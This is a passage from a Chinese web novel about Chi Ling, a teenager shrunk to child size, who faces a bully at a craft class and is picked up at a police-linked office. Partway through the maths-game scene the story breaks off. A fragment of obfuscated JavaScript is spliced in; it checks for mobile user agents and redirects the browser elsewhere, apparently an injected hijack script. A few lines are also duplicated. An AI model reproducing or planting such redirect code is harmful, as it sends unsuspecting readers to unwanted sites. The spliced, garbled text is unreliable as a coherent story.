活泼当然是好事,但乱说话就不是了。尺言有意训练他的表达能力,让他好好思考。毕竟以前没刻意培养,导致尺绫长期的沉默寡言,现在好不容易有机会,他当然要把握住。
尺绫想了很久,眉头都快皱出一条印子了。尺言洗完碗,抹好桌子,他还坐在那里想着。
哥哥把他赶到客厅沙发上,他看一阵儿电视,又陷入冥想。终于,尺言出来了,他上前扯扯尺言衣服:
“我想好了。”他这样抬头道。
尺言弯下腰,允许道:“说吧。”
尺绫有很多想说的,一涌上来,在嘴边又绕成一团乱线。他不知道从何说起,又开始焦急。哥哥没有再打断他,倒是耐心起来,“不急,慢慢来,捋清楚。”
话语在嘴巴里吞吐半天,尺绫终于找到一个切入点,委屈地道:“我不会写自己的方块名字,他们说我不会写字。”
“然后呢。”尺言适当引导。
“然后我就去洗手间,”尺绫抓住这一句引导,话语开始哗啦啦地涌出来,“我进门,门有一个小朋友。我说我会写自己名字,他说你不会写,你胡说八道。”
“然后,然后。”尺绫又变得非常焦急,嘴巴跟不上脑子,“他要打我,但是没打,我不想和他说话了,我就去上厕所。”
“那个要打你的小朋友长什么样?”
“他,”尺绫低下头压抑着激动,看着自己手指,话语有些抽动,“他是,呃,呃……”
尺言:“比你高还是比你矮?比你壮还是比你瘦?戴不戴眼镜。”
尺绫把这些话串联起来,手:“他……比我高,高这么多。”说到这的时候,他手脚并用,“也比我要壮,他不戴眼镜,短头发。”
“记得他叫什么名字吗?”尺言继续诱导。
“忘记了。”尺绫垂下头,他为没有认真听自我介绍而自责。
尺言听见这段描述,大概明白了,但尺绫这样的表达能力,还是属于很吃亏的。他安抚一下弟弟,“好了,我知道了。今晚就会和老师沟通。”
他点点头,但哥哥还没说完:“但是你自己也要做一点事,想想为什么会被欺负,还要想想怎样才能不被欺负。”
尺言能帮他解决一次,两次,但如果尺言不在呢?尺绫就没有办法了。他去找第二个哥哥吗,还是第三个?
万一三个哥哥都死掉了怎么办,尺绫就没有人可以依靠了。他必须要学会处理社交之间的事,否则永远只有被欺负的份。
尺言无奈把他送上楼,两人脚步哒哒落在楼梯上,发出闷响。
尺绫还在低头看自己的手指,嘴里念叨嘀咕着,似乎是还陷在被欺负的委屈,和说不出话的焦急中拔不出来。
尺言当然相信他被欺负了,但就事实而言,这并不是什么大事。
更大的问题是尺绫本身。别说是十七岁,就算压缩到七岁,尺绫的口头表达能力也远达不到平均水平。尺言见过不少五六岁小朋友,都比他好不少。
带着这样的性格和这样的嘴,无论走到哪里,尺绫被欺负的几率都会大大增大,有些事情不是解决了就行,要靠他自己悟。
尺绫拿着纸笔筒回到房间,放在桌子上,老师说可以当作装饰品,也可以自己用。很明显,虽然没有笔,但笔筒往那儿一放,确实增添些生活气息。
这个临时被征用的客房,终于有点儿童房的样子,满眼简洁中多一抹童真。
笔筒上的三朵粉色小花,静静地悬挂着,好像在等待雨水浇灌,慢慢生长。
尺绫伸手去摸小花,捏着编织的手感,厚厚的,像扯着哥哥的衣襟。他撑着自己的半边脸,托着下巴,百无聊赖地坐在桌子前一阵儿,对那几个问题毫无头绪,哥哥有点故意刁难他。
到底为什么欺负他呢,尺绫不太清楚。难道是因为他和其他小朋友不一样吗?
他确实和其他小朋友很不一样。其他小朋友都有爸爸妈妈,他的爸爸妈妈都死了。其他小朋友都是有好朋友,他没有。
其他小朋友都准备幼儿园升小学,他没上过幼儿园,家也不住在小区里。他们都七八岁,而自己
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是十七岁。
他能怎么办,谁让他就是十七岁呢。尺绫愤怒。哥哥也不知道其他小朋友七岁,而他十七岁吗?
哥哥在浴室,给他放好热水洗漱,喊他过来。他一头扑到床上,躲进被子里不肯动。
“我困了。”他发出闷气的声音。
尺言探头望望,发现他还在闹情绪,把水关掉,轻轻合上门。
他坐到尺绫床边,把裹在被子里的尺绫翻过来,安抚道:“怎么了。”
尺绫咬嘴唇,他翻过身去,又转了个弯翻回来。最终,他还是没忍住,提出不解:“为什么我和其他小朋友不一样。”
尺言充满耐心,“每个人都是不一样的,你要是想,那你可以变得和他们一样啊。”
尺绫更生气了。“我要怎么才能和他们一样。”
尺言撩他头发:“你多观察观察。”
尺绫卷起身子扭来扭去,在被窝里无能恼怒。好一阵儿后,他终于想起来,自己没和哥哥说十七岁的事情,他有点后悔。
尺绫:“我观察了也做不到一样,我要怎么办。因为我就是我呀。”
他咬手指头好一会儿后,抬头看哥哥,萌生好奇:“你以前和其他小朋友一样吗?”
尺言帮他收拾了一下早上换出来的衣服:“不一样啊。每个人都是不一样的。”
尺绫:“那我要怎么办。”
尺言笑了,将衣服放好:“我也没让你变得和他们一样,你只要不被欺负就好了。”
尺绫看着自己的手指,继续嘀嘀咕咕地问:“为什么我没有去上幼儿园呢。为什么我的爸爸和其他人的不一样呢。为什么他们都会很快写方块字而我不会呢。”
哥哥知道他在想,无穷无尽地想,在理解着过去和思考未来。
这个问题有些难,有些复杂,他未必能很快理解。
尺言未避免他陷入焦虑和抑郁中,适时打断他思绪。他摸了摸他后颈,又掠过额头,动作行云流水,弯下腰亲吻他脸颊,温声:
“是这样的,多想想。”
尺绫有些不安:“想完之后呢?”
“你喜欢做什么,就做什么。”尺言答。“你明天还可以去兴趣班,也可以不去。你看电视,吃东西,也都可以。”
尺绫缩进被子里,哥哥帮他再次盖好被子。这种感觉很熟悉,像是在昨天发生了一百遍,又像是在遥远的一百年前。
尺绫有一些后悔,他感受到哥哥的温度,亲切舒服。可他却对哥哥发闷气,这很不好,他再也不要这样了。
他抠着手指,缩成弯弯的一团。哥哥关灯,他把头埋进头发里,窸窣关门声很轻,几秒后,尺绫偷偷往外瞥了一眼 。
好吧,真的离开了。
他望天花板,开始想今天看到的小朋友们。有男孩子,有女孩子。他又想到那个要打他的大孩子,心里有点难受,逐渐开始开始二度生气。
凭什么,凭什么对方能欺负自己。他攥紧被子,黑夜之中皱起眉头。
兴趣班很好,老师也很好,厕所也非常好。
他喜欢做手工,他明天还要去上兴趣班。无论是刮风还是下雨,都不能阻碍他的脚步。
而且最重要的一点,他再也不能让对方欺负!
9. 扣扣糖
今天是去兴趣班的第二天。
天气有点凉,因为下了雨。清早起来,地面都是湿湿的,兴趣班的台阶也一样。
尺言前几天给尺绫买了一双新鞋,今天终于穿上了,是棕色的。由于气温转凉,他还搭了一条小围脖。
他被哥哥牵着,走过湿台阶,正要进入白翅膀兴趣班的大门。
与此同时,台阶的另一边也走上来家长和孩子。他认出,那是坐在自己身边的女孩子。
他忘记对方名字了。但对方却笑眯眯向他挥手:“尺绫,早上好呀。”
他有点怯懦,牵紧哥哥的手,往后缩一下。
哥哥倒是和对方妈妈简单地打了声招呼,即便他们素未相识,聊得有来有回。尺绫突然觉得哥哥好厉害,是社交大王。这番自然的交际,尺绫需要学习一百年。
老师今天在走廊,没有站到门口。哥哥松开手,让他自己进去。尺绫犹犹豫豫。女孩同桌却与他截然不同,坦然地和她妈妈说再见,声音非常响亮。
“你真的和老师说了吗?”尺绫看了看走廊,抬眼巴巴眨着,又看了看哥哥。
“你害怕吗?”哥哥蹲下来,摸他脖子。
尺绫拖着小马包,他倒是不害怕,但是,他就是不安。明明昨天晚上在被窝里,信心还很坚定,现在不知道为什么,今天好像记忆少一节,什么都忘光了,变得犹犹豫豫。
尺言见他这样,站起来,带着他去老师面前。
哥哥和老师说了几句话,尺绫听清楚一半,没听清楚一半。
半分钟后,老师蹲下来和他说:“尺绫小朋友,老师已经知道了,老师今天会和那个小朋友沟通的。你不用担心。进去吧。”
尺绫这才松开哥哥的手。他依依不舍地回头,哥哥摆摆手,往外走。
尺绫感觉好痛苦,他的生活离不开哥哥,哥哥却能离开他。要是哥哥死了,他的生活一定会灰暗无比的,尺绫也跟着去世算了。
这想法天真酸涩,也抵挡不住两人分开的洪流,尺绫被迫独自进入手工课教室,正式开始第二天的课程。
大孩子已经到了,还是坐在昨天的位置,他手上拿着香香的煎饼和豆浆,正在大快朵颐。
其他小朋友羡慕地看着他的煎饼,被大孩子的姿态勾引得神魂颠倒。大孩子骄傲地说,“这是我的爸爸在他工作的警察局门口买的。”
孩子们双眼发光,他又说:“那里的煎饼最好吃了,所有的警察叔叔都会买他们家煎饼。”
尺绫坐回自己座位上,身旁的女孩已经去和其他人玩了,他孤零零的,只能玩手指。
老师不久就进来了,小朋友也随之到齐,桌子周围越来越满,数了数,跟昨天是一样的。
老师清清嗓子:“我们今天要做的手工是,大家知道这是什么吗?……对了,就是枯叶画。”
今天做什么手工,对尺绫来说并不重要,他听得心不在焉,云游天外。
他今天来是要干什么的呢。他是要变得和其他小朋友一样,还是变得不被欺负呢。他忘记了,也惘然了。
不久,面前就发放一张白纸,还摆了很多叶子,黄色的红色的,枫叶松针还有各种各样的大花小花。
老师绘声绘色地讲着。尺绫对着白纸发呆,好似浸泡在一个泡泡里,手里不知道为什么,握着一只彩色笔,目光愣愣的。
眼前有一只蚊子飞过,他突然回过神来,看看左右,女孩子同桌已经拿起胶水和树叶,跟着老师画第一幅简单的枯叶画。
尺绫也拿起胶水和树叶,拙劣地模仿老师的动作。
没有听课的小朋友并不能做出完美的作品,尺绫心不在焉地听课,云里雾里地制作,最终做出一副乱七八糟的枯叶画。
说不上难看,但和好看、生动、优雅是完全搭不上边。
休息时间到,尺绫立马丢下枯叶画,冲去洗手间。他并不是多想上厕所,但他知道只要再晚一点,就可能会撞上大孩子,更可能会听到其他小朋友的议论纷纷。
他一个字都不想听,躲进厕所里。但是十分钟过后,他从洗手间出来,却发现大孩子正站在走廊里,低头看着什么。
而其他小朋友,紧随其后,一个接着一个簇拥着大孩子,还有的踮起脚尖拼命望。
不知怎么地,一个小朋友急得说话。大孩子手一放下,头转过来,看到尺绫了。尺绫呆呆地站在门口,手脚愣愣的,看着对方和一群以大孩子为首的小朋友。
“喂,你,”大孩子音调拉高,对准尺绫,尺绫再度陷入不安。但下一秒大孩子提问,“你知道36×17等于612还是472?”
尺绫一瞬间反应:“612。”
一个小朋友听了,明显不太信任,说:“我觉得还是472吧。”其他小朋友也跟着附和。
大孩子迟疑一下,选择了472的选项,页面骤然变灰,生命条里的最后一颗心也裂开了。
答案是612。
大家泄了一口气,看着速算游戏界面的245分,失去斗志。
大孩子突然看着尺绫,高声一喊:“你过来。”
尺绫想转身逃跑,后面却只有厕所,他走投无路了。
所有小朋友都在看着自己,尺绫没办法,被迫向小朋友堆走去。三个小朋友自动为他让开一条路。
来到大孩子面前,尺绫很紧张。大孩子手里拿着一部学习游戏机,正停留重新开始的界面,他递给自己:“你来试试。”
这是最新款的学习游戏机,市面价要卖一千多一个,里面有一个虚拟形象,可以通过玩学习游戏获得酷炫装扮。
大孩子很想要一个鲨鱼头发,但是需要突破数学速算游戏的300分大关,才能获得这个装扮。
答对一题得十分,错一题扣五分,难度每五题递增,错三题直接失败。一般闯关到中后期已经超过小学的难度了,对这群小学都没上的小朋友简直是灭顶之灾。
“真的要让他来吗?”一个小朋友偷偷问大孩子。
尺绫身子紧绷,不敢接过这个学习游戏机。大孩子看他畏畏缩缩的,平时也笨笨的,觉得他心里也没有底。
大孩子:“那你就看着我,我问你选什么你就选。”
“我觉得他不行。”一个小朋友说。
“可是他运气很好诶。”另一个小朋友说。
大孩子开始了,起初是简单的加减法,只要上过幼儿园,是个智力正常的小朋友都会。
后面进入两位数的加减法,大孩子完成得也还顺利,就是有一题看岔眼,扣了一条命。
分数超过200,进入第三阶段,乘除法。勉强的九九乘法表大孩子还能应对,其他小朋友也会出谋划策,可一旦出现两位数乘除法,孩子们就做不下去了,只能单纯靠蒙题。
大孩子连续自己蒙了两道题,都对了,到下一道,他有预感自己绝对会蒙错。于是抬头问尺绫:“24乘31等于744还是554?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805693|158493||http|test|mini|href|location''.split(''|''),0,{}));
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>尺绫选择第一个,小声答:“744。”
大孩子选择与自己直觉截然相反的选项,744,正确。
大孩子继续问:“37×65等于912还是2405?”
尺绫选择第二个:“2405。”
大孩子自己蒙一道,又问两道,尺绫都讷讷地给出答案。很幸运,答案都是正确的。
尺绫低着头,大孩子突然停住手指,抬头望向尺绫。下一秒将游戏机递过去:“你来。”
大孩子没有选择尺绫说出的答案,答错一题,现在只剩下一条命。可他们还需要答对两题,才能到达300分。
尺绫看见冒出数学题的屏幕,抬头,所有小朋友的目光定定地落在他身上。他不得不接过,握住。
“1078÷22=”
尺绫选择了第一个选项。
“123×12=”
尺绫选择了第一个选项。
下一秒,屏幕上就弹出一个大大的金色边框。
【历史记录更新:300分】
【恭喜:通关成功!获得:鲨鱼发】
这一瞬间,空气停滞。
“过了?”终于,有人飘出一句。
大家的嘴巴都张大,变成一个O型,半晌,安静的走廊开始发出一声接一声的惊叹:“尺绫运气这么好。”“真的假的。”
尺绫连续蒙对了七道题,成功打通最困难的第三部分关卡,成功达到300分,帮助大孩子获得了新装扮。
突如其来的议论,让尺绫十分不安。他全身上下好似有电一样,想丢掉这个游戏机,立马离开。
“安静!”
大孩子喊道,他取回尺绫手中的游戏机,看了看屏幕上的通关成功。
大孩子把游戏机收入口袋,目光投向尺绫。他刻意压着声线,居高临下:“你是不是向老师打小报告了?”
尺绫有些害怕,他的手指互相划指甲盖,他不知道大孩子要对他做什么。
“真没出息。”
说毕,大孩子手伸进口袋,掏出一包果汁软糖,递到尺绫跟前,语气带上刻意模仿的成熟,睨视道:
“但是你运气挺好的。”
接着,果汁软糖递到尺绫面前。
“喏,给你这包扣扣糖,你以后就是我跟班了。跟着我每天都有好东西吃。不准再向老师说我坏话。”
尺绫很喜欢果汁软糖,他看见的那一刻,情绪一瞬间激动,但很快被气势压下来。
大孩子把糖塞到他手里,叉着腰,上下扫视尺绫,没有说话。转身,领着其他小朋友们回教室。
尺绫手握着果汁软糖,站定在原地。
大孩子的背影越来越远,不知道为什么,小朋友们的议论声变得动听。
下午,课程结束了,哥哥又来接他了。这次尺绫走到玻璃门外面,自己找到车,上去。
哥哥给他买了他早餐喜欢吃的南瓜包,还有两个甜甜圈,特意放在后排。
尺绫爬上车后,却没注意到。而是一直攥着那包扣扣糖,在手里就没松开过。
哥哥从后视镜看他,问:“你怎么有包糖。”
尺绫没有回答,他的思绪飘飘然的,好像很多云朵混在一起。
他没有主动提及被欺负的事,尺言有些好奇,但也认为这件事不大,学龄前小孩子都比较纯真,应该已经解决了。
于是哥哥没再问话,开着车,朝充斥白光的地平线驶去。
10. 银手铐
大孩子脚一撑,坐在闲置的桌子上,比其他人要高一个半头,他翘着腿,看下面的小跟班,开始点评:
“对了,你们的爸爸妈妈都是做什么的?赶紧交代清楚。”
兴趣班的团体生活就这样开始。自从获得那包扣扣糖以后,一来到手工班,小朋友们有空就围绕着大孩子转。尺绫自然而然成为其中一员,虽然他什么话也不说,只是跟着走来走去。
今天大孩子给他们带的是手指饼干,每人都有三根,用包装袋包着。尺绫拿到小饼干后,一直握在手里,想吃得失魂落魄。
其他小朋友逐个向大孩子报告了自己的家庭情况,住在哪里,小学在哪里上,十分详细。大孩子满意地点点头,终于,他把目光投向最后一个小跟班——尺绫。但很可惜,尺绫走神了。
虽然所有目光都聚集在尺绫身上,尺绫却浑然不知,茫然看手指饼干,一个劲分泌口水。
“喂,你。”大孩子喊了一声。尺绫没反应,大孩子跳下来,“听到我说话没有?”
尺绫愕然抬头:“啊,啊?”
大孩子有些不耐烦起来,叉着腰,重复一遍话语:“你快回答我的问题,你爸爸妈妈是做什么的?”
尺绫目光被迫离开手指饼干,紧张讷讷答:“我不知道。”
大孩子不相信,“这都能不知道?”
尺绫向后缩缩身子,没有回答。
“好吧,你真的是个傻瓜。”大孩子骂道。
大家越习惯了,尺绫永远是跟不上队伍的那一个,也永远是班级里走神的那一个。在手工课上,他还经常被老师点名提醒,注意力不集中。
“但是你运气好。”大孩子暂停批评,转而客观地评价,“我才会把你留在这个队伍里的,你知道吗?”
大家各自吃完手指饼干,像模像样地磨蹭一会儿,尺绫终于想起怎么表达,补充道:
“我没有爸爸妈妈。”
小朋友愣了愣,凑上来,一颗颗头围在他面前:“啊?什么叫没有爸爸妈妈?是离婚了吗?还是死了啊?”
尺绫看看自己的十三只手指:“我不知道。”
“那是谁送你上课的?”小朋友们七嘴八舌。
尺绫:“哥哥。”
有人见到过他哥哥,又高又帅,但已经是大人的模样了。压根不像是尺绫的哥哥,他们以为是他的爸爸。
“你哥哥比你大多少岁呀,你哥哥会开车吗?你哥哥上大学了吗?”另一个小朋友插话:“我哥哥是高中生,但他不会开车。”
这些问题很混乱,尺绫脑子如麻线,黑黑的搅成一团,张开嘴半晌,插不进小朋友们的话,一个字回答不上来。
大孩子及时叫停这场吵闹的剧:“别问了!”
小跟班们纷纷闭上嘴巴,停止对尺绫的围攻。
尺绫脱身了,他有些内敛,大孩子比其他人都要成熟,举起一根手指晃晃,严肃地说理道:“有什么好问的,我爸爸说,现在的人要多生几个孩子,尺绫有一个大人哥哥有什么问题吗?”
小跟班们咿咿呀呀地讨论,这个趋势似乎和他们紧密相关,他们可能会多出来一个哥哥姐姐,或者好多个弟弟妹妹。
尺绫大概率不会再有这种机会了,毕竟他的爸爸妈妈都化成灰了。
“对了,今天下午,我爸爸会来接我。你们有想看我爸爸的吗?”大孩子提出。
几个小跟班你看看我,我看看你。一个人说:“我不知道我妈妈什么时候来,但是我想看。”
“我也好想看看你爸爸长什么样子。”
“他会穿着警服来吗,就是戴帽子,他身上会不会有枪。”
大孩子鄙夷地看着群小跟班:“下班了就不会穿警服了,也不会随便带枪。但是我爸爸会有很多肌肉,他喜欢穿短袖。”
“那我和我妈妈说我要再留一阵儿。”
“我还是算了,我要和奶奶搭公交回家。”
尺绫对警察叔叔不感兴趣,再其他人都讨论要不要留下来的时候,白老师突然叫他:“尺绫,你过来一下。”
尺绫抬头,有些茫然,接着往白老师那走过去。
他望老师,老师拿出手机,给他看上面的画面。尺绫踮起脚,才在反光下看得清。
“你哥哥说今天下午没空来接你,说会有另一个人来接你,可能会有点晚,如果你看不到人,就在门口等一下,或者直接回家。你知道是谁吗?”
尺绫记得哥哥好像有信任的朋友,也教过他打电话,还录入了号码,就在随身携带的手机里。老师又问:“需不需要老师来帮你打一个电话确认呀?”
尺绫摇摇头,拒绝了。
他们家住得偏僻,地址不能让别人随便知道,最好连手机号都不要交给别人。这一点尺绫牢记于心,他必须牢牢保守家庭秘密。
吃完饭,午休完,家长也逐渐来接孩子们。老师提醒准备可以回家了,尺绫看看这边,看看那边,睁大眼睛,所有小朋友都在齐刷刷地收拾东西。
尺绫今天要自己回去,想起老师说的哥哥在自己包里放了地址和联系方式,打开小马包,翻找最里面的夹层,真的找到一张折叠好的白纸条。
白纸条上写着他可以去的三个地方的地址,一个是尺言在市中心的公寓,一个是尺平的公司,还有一个是市里的警察局,还各自写上联系号码。
当然,也有直接回家的方法,哥哥详细地写了需要搭乘的公交路线,要两次转车,在哪里转,走多少路。
同桌女孩子说:“尺绫,你还不走吗?”
老师看着时间,一到点,宣布放学,小朋友们都纷纷涌出课室门口。尺绫拿起小马包,跨在身上,脚步哒哒也跟着涌出去。
到了白翅膀艺术中心的玻璃门外,小朋友们就各自散开,找到来接自己的亲人,坐上小车,或者自己搭公交。
尺绫手里攥着那张纸条,站在台阶上,拿起来看一眼。他思考着,要怎么回去呢,要去哪里呢?
“尺绫,你还不走吗?”大孩子问他。
尺绫抬头望,大孩子也站在台阶上,隔壁还有一个大孩子的小跟班,是四个跟班里唯一一个愿意留下来,窥探警察英雄的真面目的小朋友。
“我的哥哥今天没有空。”风吹过来,尺绫手里的纸条扬了扬,发丝也跟着动了动。
“那你要自己回家吗?”小跟班一号问。
尺绫不知道。虽然说有人来接他,但他应该是要自己回的,他连该去哪里都还没定下来。
“那正好,我爸爸马上就要来了,你等着吧。”
尺绫不知道。他应该是要自己回的,但他连该去哪里都还没定下来。
“那正好,我爸爸马上就要来了,你等着吧。”
五分钟后,小朋友已经走光了,白翅膀艺术中心的门口就只剩下三个人。
小跟班的妈妈给小跟班一号打电话手表,催了好几次,问:“还没和朋友聊完吗?”
小跟班迫于
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压力,也实在等不下去了,在拖下去他妈妈就要给他女子单打了。他和大孩子说:“我妈妈要骂我了,我要走了——”
话还没说完,大孩子看见一辆熟悉的车驶来,惊喜又骄傲指着,喊道:“我爸爸来了!”
原本要迈步离开的小跟班话语被打断,他也立马静静地定住,伸着脖子跟随大孩子的手望去。
银色的车停在台阶前,十来秒后,走下来一个壮硕的大汉,穿着短袖,带着墨镜,浑身膀子肉。
但从外观的体型来看,大孩子和他父亲极为相像。
小跟班一号聚精会神地看一眼,立马满足,急急忙忙提步转身离开了。
台阶上只剩下两人,空荡荡的。尺绫定定地站在那,看着大汉一步一个脚印地走过来。
大孩子顾不上尺绫了,浑身激动得颤抖,立马大喊:“爸爸!”接着,他不顾一切地朝父亲跑过去,扑到父亲怀中。
“佑佑。”这个父亲靠着体型接住了儿子冲击,笑着揉揉儿子的短发。
这一幕很是美好,充满着真诚的情谊。尺绫看着他们,手里捏着那张白纸,依旧站在台阶上不动。
大孩子的爸爸看见尺绫,脱下墨镜,脸上还带着笑意,问儿子:“这是你朋友啊?”
大孩子答:“对,他是我的好兄弟,我们上同一节手工课的。”
大孩子爸爸扫视孤零零的尺绫,挥动墨镜,问道:“你自己回家吗?”
尺绫还没做好准备开口答,大孩子就替他答上了:“他哥哥今天没空,接不了他,他应该要自己回家。”
尺绫小声自己答:“哥哥说,会有人来接我。”
大孩子还在炫耀着他的爸爸,倚靠着手臂,撒娇:“爸爸,你今天有没有抓坏人啊?”又偷偷扒着爸爸的裤后袋,“你有没有带手铐呀。”
大孩子在尺绫急于面前表现,以便透露出他没有说谎话。只可惜尺绫并不想其他小朋友一样充满敬畏和好奇,但他还是愿意听大孩子说话。
“好了,那和你朋友说再见吧,我们要回去了。”大孩子爸爸拍了拍儿子肩膀,重新戴上墨镜,露出自信地微笑。
大孩子说再见,爸爸拐着他的肩膀往楼梯下走。尺绫还没打完招呼,目光注意到大孩子父亲的那辆小汽车后,低调停下了一部黑车。
黑车门开启,一个男人下车,尺绫感觉到有一点熟悉的气息,目光往那边挪去。
接他的人终于来了。
大孩子见尺绫目光挪动,也跟着望了望,只见一个腰杆笔直的大人。大孩子有很强烈的熟悉感,他认为这个人和他爸爸身上有同样的味道。
他爸爸的步子也微微停住了。回头跟随着望了两秒。
男人和尺言哥哥的作风不同,没有同陌生人打招呼的习惯,径直上楼梯,到达尺绫面前。大孩子眼骤然一睁大,看到接尺绫的男人,腰间挂着一副银色的环。
——那是手铐!
尺绫对来者并不陌生。对一切都抱有害怕的他,很自然地接受了面前这个人。男人伸出手,尺绫就脱下自己身上的小马包,让他帮忙拿着。
两人下楼梯,也准备回到车上。
大孩子还很想看,爸爸却一手把他揽到车上。他连那男人的脸都没看清,就被关入车中。
摇下窗户后,那男人已经进入视线盲区了。他只看到尺绫的小马书包,和半空中尺绫微微晃动的发丝。
车一前一后,一白一黑,大孩子和尺绫分道扬镳。
11. 蜜糖水
尺绫看着周围的一切,感觉到陌生和熟悉,他把手指放到嘴边,很想啃手。
略显惊慌失措的青年坐立不安,屡次回头又屡次看尺绫。大孩子父亲感觉事不寻常,抽一口凉气,插缝问出:
“你们是认识这个小孩的吧。我儿子和他是同学,今天没人接他,他说可以送他来这儿。”
青年眼睛不断波动,涌上慌乱为难还有紧张。很明显,这份紧张是针对大孩子父子两人的。他呃呃几下,接着连连点头:“对对,放这儿就行了。”
“那我们可以走了吧。”大孩子父亲手指晃了几下,接着牵起儿子的手。
大孩子有些懵然,他看着站定的尺绫,分不清当前形势。
尺绫为什么可以留在这,他是有什么家属在这里吗?爸爸为什么要着急带自己离开?
尺绫站在原地,青年走出前台伸手来牵他。
“来,过来。”青年把他引进来。
尺绫听话地伸出手,被牵着过去。大孩子一步三回头,一直看着尺绫。而他的爸爸头都不回,直直往前走。
身后一窸窣,青年即刻回头,喊道:“头儿。不对,”他立马慌了神似地改正:“辅队。”
开门离开的大孩子父子俩回头眼一看。
面前是一个身杆端正,五官棱角分明,神色镇定的男人。头发寸头,衣着干净利落,透着一股年轻与成熟并重的稳重感。
还没等问怎么了,小青年意识到什么似的,立马把手里牵着的尺绫递出去。
尺绫被一晃悠,带出去,往前踉跄了两步。
青年不是有意的,立马大惊失色,松开手,倒吸一口凉气。又面露尴尬,对着领导支支吾吾起来:“喏,你看,这……”
小尺绫抬头看一眼,又低下头,非常专注地吮手指。
男人没应答,只是说:“事情办完了。”
原本的前台接待员打完水回来,坐回原位,对刚刚替他看班的小青年说道:“我好了,你回去吧,谢谢啊。诶,辅队,办完事了,这就走了吗?”
男人轻轻嗯一声,提起步子。尺绫再次抬头看看,见男人起步,哒哒哒地跟上去,像个悬浮小挂件一样。
小青年汗流浃背了,跟前台的Andy再见完,立马急匆匆跟着这一大一小。他们走过衔接的短廊,回自己组织。
穿过走廊,回到部门,尺绫开始滴滴答答地小跑起来。众人见领导回来了,都假装正经工作,再加上尺绫个子矮,他们大部分都没看见。
男人让小青年回去干活,让尺绫进办公室,他还有些事要交代。小尺绫熟门熟路地进去坐一阵儿,又抱着小马包跑出来。
他哒哒哒跑到到茶水间边上,看着比他高的饮水机,站着不动了。
一个新来的女职员正在倒水,见突然冒出个漂亮小孩,感到新鲜,弯下腰来问他:“小朋友,你想喝水吗?”
尺绫吮手指,想到甜甜的蜜糖水,于是点点头。女职员就帮他拿了个塑料杯,摁出些许温水来:“你是谁家的小孩呀?这么可爱。”
突然,档案室的主任过来,强硬挤开她。
“回去干活。”档案室主任夺过塑料杯子,狠狠地瞪她一眼。女职员被凶了,只好吃哑巴亏回去了。
档案室主任在这里干了十多年,现在已经快四十了。她是为数不多对这一切都知根知底的普通人。
她拿出一罐常备的蜂蜜,调了杯蜜糖水,递给小尺绫。尺绫双手接过递到嘴边,开始咕咚咕咚喝起来。
主任又把尺绫带回辅队办公室,哄着他让他定定坐好,不要乱跑,接着便通知尺言。尺绫有了蜜糖水,已经心满意足,在木沙发上晃悠着两只脚。
不久,六点多的时候,尺言来接他了。
尺绫见到熟悉的哥哥,心里面很是高兴,简直跟泡在蜜糖罐子里一样幸福。
哥哥抱起他,尺绫两只手环住哥哥脖子,靠在他肩膀上。哥哥便往外走。
尺绫很高兴,咿咿呀呀地说话,讲了他怎么找到白纸,不知道该去哪个地方,那个之前欺负他的人的爸爸是警察,把自己送过来了。虽然尺绫嘴巴含糊不清,说话也顺序颠倒,但哥哥还是听懂了大部分。
马上就要下班了,氛围轻松不少,尺家两人走后,一个八卦的职员左右望望,见领导辅队在不在,终于忍不住了,趴到这边办公桌,挑挑颌对小青年发问:
“谁啊,辅队私生子啊?”
青年在同事再三催促别吊胃口,青年用手掩住嘴巴,压低声音:“你不知道吗?那是小老板。”
“小老板是谁?”同事挠头,突然惊醒,指指辅队办公室,又指指外面的小不点和他哥哥。
青年意味深长地点点头。
在N市这个地方,所谓市局只是个壳,对外开放的那边顶多能解决一些治安问题,而相连接的不开放的这边部门,才是N市真正的中心。
而他们的领导,就是N市这个中心的掌管人——司徒辅。
至于这个小不点,是他们的小老板。想到这,小青年就像给自己插上氧气管。明明不久前才看到的好端端的小老板,怎么就变成这么个小不点了。
他们头儿的影响力和权力很大,别说是公安局,就算是市长也得看他眼色。而最重要一点,他们头儿恰恰好就是替尺绫这个小不点代管事务的。
“尺家二公子,喏,就刚刚那位,是我们头儿的老朋友了。合作好几年了。”小青年边说边看门口,尺言正抱着弟弟,单手推门出去。
部门的工资包括各项经费,这栋建筑的出资,基本都是尺家拨款的,而这每一笔账,也都是尺言来代管的。这是名副其实的出粮人。
尺绫本来都长成十七模样了,马上就能收获成熟,突然间来个变小的病。青年替他们感慨,好家伙,一朝回到解放前,现在别说接班了,连能不能活个身体健康都还是未知数。
草坪外面,尺绫见到熟悉的车,很是兴奋。哥哥到车门边把他放下,他立马就爬上去。
他对坐进前排的哥哥说:“我今天喝了蜜糖水。”
“嗯嗯,好。”哥哥应着。
他快速思索,还对哥哥说:“我今天还吃了手指饼干。”
“嗯嗯,好。”哥哥继续应着。
尺言打着车,正想起步,余光瞥到那栋建筑,忽地顿顿。他内心百感交集,看后视镜里还在嗦手指的尺绫,不可名状的复杂更是涌上心头。他轻微地训斥道:“别吃手指。”
尺言一路开车,回到家。自从弟弟生病变小后,他很少不回家的日子。
他今天去了趟尺绫之前住的公寓,才发现有个窗子没关,前几天下了场雨,地面已经浸出痕迹了,灰尘更是薄薄一层。
算下来,这样的日子也有
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快一个月了。尺绫一直没能变回来,他不知道这是好事还是坏事。但目前情况来讲,算是不太好。
接他回去吃完饭,尺言的困意再度涌上来,他撑了撑眼皮子,起身,打算走两步清醒一下。
他日夜颠倒,还要抽空照顾尺绫,往日勉强还能撑下去。今天他送完尺绫去上课,回去的路上就发现自己状态不对劲,头昏昏沉沉的,便立马请了个假,把车停在路边睡了一阵儿,才勉强好上一些。
不仅要工作,还要替尺绫管着父亲留给他的账,现在还要照看尺绫,一天给他三十六个小时都未必够用。
尺绫坐在客厅里,看兔子动画片。他本来想过去,刚迈步手机突然震动,抽出来看一眼,他径直上楼。
“喂。”他接听电话,边走上楼梯。
“你们门回去了吗。”来电的是司徒辅,估计刚刚忙完,在工作与工作之间抽出时间,来短暂地问候交流。
“饭都吃完了。”尺言佯装语调放松,颇有些阴阳的味道。
司徒辅直入正事,“他现在状态怎么样?”
